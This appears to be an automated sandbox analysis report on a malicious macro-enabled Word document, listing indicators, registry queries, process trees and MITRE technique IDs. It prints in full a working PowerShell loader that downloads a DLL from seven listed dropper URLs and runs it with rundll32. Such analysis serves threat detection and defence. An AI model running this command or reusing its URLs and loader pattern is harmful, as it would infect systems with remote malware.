8ae2b2038fbe66e886ad82c63d17b00b380bbd1d4bdaebb6fd1c0b77c6605e2a

General

Target

DAG3HZMYGXISZJ.docm

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://evgeniys.ru/sap-logs/D6/

exe.dropper

http://crownadvertising.ca/wp-includes/OxiAACCoic/

exe.dropper

https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/

exe.dropper

http://immoinvest.com.br/blog_old/wp-admin/luoT/

exe.dropper

https://yoho.love/wp-content/e4laFBDXIvYT6O/

exe.dropper

https://www.168801.xyz/wp-content/6J3CV4meLxvZP/

exe.dropper

https://www.pasionportufuturo.pe/wp-content/XUBS/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2404	3592	cmd.exe	WINWORD.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3592 WINWORD.EXE
3592 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

3012 powershell.exe
3012 powershell.exe
3012 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3012 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

3592 WINWORD.EXE
3592 WINWORD.EXE
3592 WINWORD.EXE
3592 WINWORD.EXE
3592 WINWORD.EXE
3592 WINWORD.EXE
3592 WINWORD.EXE

pid	process
3592	WINWORD.EXE
3592	WINWORD.EXE

pid	process
3012	powershell.exe
3012	powershell.exe
3012	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3012	powershell.exe

pid	process
3592	WINWORD.EXE
3592	WINWORD.EXE
3592	WINWORD.EXE
3592	WINWORD.EXE
3592	WINWORD.EXE
3592	WINWORD.EXE
3592	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 3592 wrote to memory of 2404	3592	WINWORD.EXE	cmd.exe
PID 3592 wrote to memory of 2404	3592	WINWORD.EXE	cmd.exe
PID 2404 wrote to memory of 3012	2404	cmd.exe	powershell.exe
PID 2404 wrote to memory of 3012	2404	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\DAG3HZMYGXISZJ.docm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3592

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2404

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3012

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/2404-268-0x0000000000000000-mapping.dmp

Download
memory/3012-443-0x00000191B9D08000-0x00000191B9D09000-memory.dmp

Filesize
4KB

Download
memory/3012-310-0x00000191B9D06000-0x00000191B9D08000-memory.dmp

Filesize
8KB

Download
memory/3012-302-0x00000191B9D03000-0x00000191B9D05000-memory.dmp

Filesize
8KB

Download
memory/3012-300-0x00000191B9D00000-0x00000191B9D02000-memory.dmp

Filesize
8KB

Download
memory/3012-273-0x0000000000000000-mapping.dmp

Download
memory/3592-121-0x00007FFB01D90000-0x00007FFB01DA0000-memory.dmp

Filesize
64KB

Download
memory/3592-125-0x00000206E9CA0000-0x00000206E9CA2000-memory.dmp

Filesize
8KB

Download
memory/3592-124-0x00007FFB01D90000-0x00007FFB01DA0000-memory.dmp

Filesize
64KB

Download
memory/3592-123-0x00000206E9CA0000-0x00000206E9CA2000-memory.dmp

Filesize
8KB

Download
memory/3592-122-0x00000206E9CA0000-0x00000206E9CA2000-memory.dmp

Filesize
8KB

Download
memory/3592-118-0x00007FFB01D90000-0x00007FFB01DA0000-memory.dmp

Filesize
64KB

Download
memory/3592-120-0x00007FFB01D90000-0x00007FFB01DA0000-memory.dmp

Filesize
64KB

Download
memory/3592-119-0x00007FFB01D90000-0x00007FFB01DA0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads